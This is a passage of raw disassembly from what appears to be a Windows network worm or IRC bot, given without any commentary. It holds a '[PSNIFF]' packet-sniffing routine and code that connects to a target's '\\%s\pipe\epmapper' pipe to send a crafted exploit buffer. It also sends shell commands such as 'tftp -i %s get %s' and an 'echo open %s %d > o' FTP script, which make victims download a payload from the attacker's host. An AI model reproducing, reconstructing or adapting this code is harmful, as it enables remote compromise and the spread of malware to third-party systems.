		cmp	[ebp+var_28], esi
		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h


loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78


loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx


loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43ACD4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43AE24
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43AD2C
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D5h
		nop
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_436EDC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	near ptr 2640000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_436ED8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43AE38
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7


loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43AE38


loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------


loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax


loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_436EDC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h


loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43ACD8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 2620494h
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------


loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F674
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCD
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset off_427A80
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------


loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------


loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3


loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86


loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C


loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 2670000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C


loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		nop
		call	near ptr 26607A6h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_402F02


loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx


loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		call	near ptr 26508BEh
		nop
		jmp	loc_402E4D
; ---------------------------------------------------------------------------


loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 2650000h
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		nop
		call	near ptr 26508BEh
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43AD98
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF


loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059


loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi


loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43AE30


loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43AE30


loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		nop
		call	near ptr 2620494h
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------


loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax


loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_415450
		pop	ecx
		mov	dword_436EE0, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_436EE0
		push	eax
		call	dword_43AD98
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		mov	esi, offset byte_42F674
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		nop
		call	near ptr 2620494h
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226


loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------


loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		push	ebx
		call	dword_43AE30
		mov	al, 1


loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_436EE0
		add	esp, 2Ch
		push	eax
		call	dword_43AD98
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------


loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
